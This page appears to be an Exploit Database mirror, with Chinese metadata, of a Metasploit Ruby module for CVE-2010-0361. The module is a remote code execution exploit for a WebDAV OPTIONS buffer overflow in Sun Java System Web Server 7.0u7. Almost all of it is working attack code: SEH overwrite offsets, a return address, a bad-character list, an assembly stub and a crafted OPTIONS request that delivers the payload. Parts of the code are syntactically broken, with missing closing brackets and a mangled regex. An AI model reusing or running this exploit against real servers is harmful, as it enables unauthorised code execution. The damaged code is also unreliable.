Sun Java Web Server – System WebDAV OPTIONS Buffer Overflow (Metasploit)

Exploit Database
117 阅读

作者： Metasploit

日期： 2010-08-07
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/16314/

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# $Id: sun_jsws_dav_options.rb 9971 2010-08-07 06:59:16Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

require 'msf/core/exploit/http/client'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'Sun Java System Web Server WebDAV OPTIONS Buffer Overflow',

'Description'=> %q{

This module exploits a buffer overflow in Sun Java Web Server prior to

version 7 Update 8. By sending an "OPTIONS" request with an overly long

path, attackers can execute arbitrary code. In order to reach the vulnerable

code, the attacker must also specify the path to a directory with WebDAV

enabled.

This exploit was tested and confirmed to work on Windows XP SP3 without DEP.

Versions for other platforms are vulnerable as well.

The vulnerability was originally discovered and disclosed by Evgeny Legerov of

Intevydis.

'Author' => 'jduck',

'Version'=> '$Revision: 9971 $',

'References' =>

[

[ 'CVE', '2010-0361' ],

[ 'OSVDB', '61851' ],

[ 'URL', 'http://intevydis.blogspot.com/2010/01/sun-java-system-web-server-70u7-webdav.html' ],

[ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-66-275850-1' ]

'Platform' => [ 'win' ], #, 'linux', 'solaris', 'win' ],

'Privileged' => true,

'Payload'=>

{

'Space'=> 2000,

# ugh.. crazy!

'BadChars' => ((0..8).to_a + (0xa..0x1f).to_a + [0x7f]).pack('C*'),

'DisableNops' => true,

'EncoderType'=> Msf::Encoder::Type::AlphanumMixed,

'EncoderOptions' =>

{

'BufferRegister' => 'ECX',

}

'Targets'=>

[

# No automatic target atm...

#[ 'Automatic', { } ],

[ 'Sun Java System Web Server 7.0 update 7 on Windows x86 (SEH)',

{

'Platform' => 'win',

'Arch' => ARCH_X86,

'Offset' => 760,

'Ret'=> 0x12012177 # p/p/r in xerces-C_2_6.dll

=begin

[ 'Sun Java System Web Server 7.0 update 7 on Windows x86 (saved ret)',

{

'Platform' => 'win',

'Arch' => ARCH_X86,

'Offset' => 184,

'Ret'=> 0xdeadbeef

[ 'Sun Java System Web Server 7.0 update 7 on Linux x86',

{

'Platform' => 'linux',

'Arch' => ARCH_X86,

'Offset' => 224,

# @ 220 - 0x09703e90

'Ret'=> 0xdeadbeef

[ 'Sun Java System Web Server 7.0 update 7 on Windows x86',

{

'Platform' => 'solaris',

'Arch' => ARCH_SPARC,

'Offset' => 3133,

'Ret'=> 0xdeadbeef

=end

# You can use this in order to devise other targets..

[ 'Debug Target', { } ]

'DisclosureDate' => 'Jan 20 2010',

'DefaultTarget' => 0))

register_options(

[

OptString.new('PATH', [ true,"The URI path of a WebDAV collection on the server", '/webdav'])

], self.class)

end

def check

res = send_request_raw(

{

'method'=> 'OPTIONS',

'proto' => 'HTTP',

'version' => '1.0',

'uri' => datastore['PATH']

}, 5)

info = http_fingerprint({ :response => res })# check method

if (info =~ /Sun/)

print_status("Found server: #{info}")

return Exploit::CheckCode::Detected

end

Exploit::CheckCode::Safe

end

def exploit

# various crashes from linux sjsws 7u7:

# 216 - 0xb5a7a384 <DACL_isMatchingSelf@plt+256>: jmp*0x268(%ebx), ebx: 0x41386741

# 220 - 0xb5a80000 <_ZN16DAVVirtualServerD1Ev+148>: add%ah,0x84d8bff(%edi,%edi,8), edi: 0x31684130

# 224 - 0x68413368 in ?? ()

# 244 - 0xb5a80ba4 <DACL_GetDACLListForUri+164>:movl $0xffffffff,(%eax), eax: 0x41306941

# 248 - 0xb5a836e7 <DACL_ReadDACLFile+79>:movl $0x0,(%edx), edx: 0x69413169

# on windows sjsws 7u7:

# 200 - 67413167 ?????

# 2000 - smashes SEH, hits end of stack, 357a4134

uri = ''

uri << datastore['PATH']

uri << '/' if uri[-1,1] != '/'

# Just crash it nicely...

if (target.name =~ /Debug Target/)

uri << Rex::Text.pattern_create(2000)

encoded = "\xcc"

encoded << "A" * (payload_space - 2)

encoded << "\xcc"

#sled = Rex::Text.charset_exclude(payload_badchars)

#encoded[32,sled.length] = sled

elsif (target.name =~ /$SEH$/)

off = target['Offset']

rest = ''

rest << rand_text_alphanumeric(off)

seh = generate_seh_record(target.ret)

stub = "

sub esp, -0x1a0

pop ecx

sub ecx, 0x3c

still:

mov al, [ecx]

cmp al, 0x41

jne nope

inc ecx

jmp still

nope:

jmp ecx

seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, stub).encode_string

rest << Rex::Text.to_hex(seh, '%')

rest << "A" * 256

rest << payload.encoded

rest << rand_text_alphanumeric(2200 - rest.length)

uri << rest

encoded = rand_text_alphanumeric(32+rand(64))

# From CORE local PoC

#uri = '/' + ("D"*2000) + '/..' + datastore['PATH'] + '/' + rest

end

# NOTE: We could use this to avoid badchars, but it ends up putting a url encoded version

# of the payload in memory, not exactly what we want :-/

#encoded = Rex::Text.to_hex(pl, '%')

res = send_request_raw({

'method'=> 'OPTIONS',

'proto' => 'HTTP',

'version' => '1.0',

'headers' =>

{

'Referrer' => encoded,

'User-Agent' => encoded

'uri' => uri

}, 5)

handler

end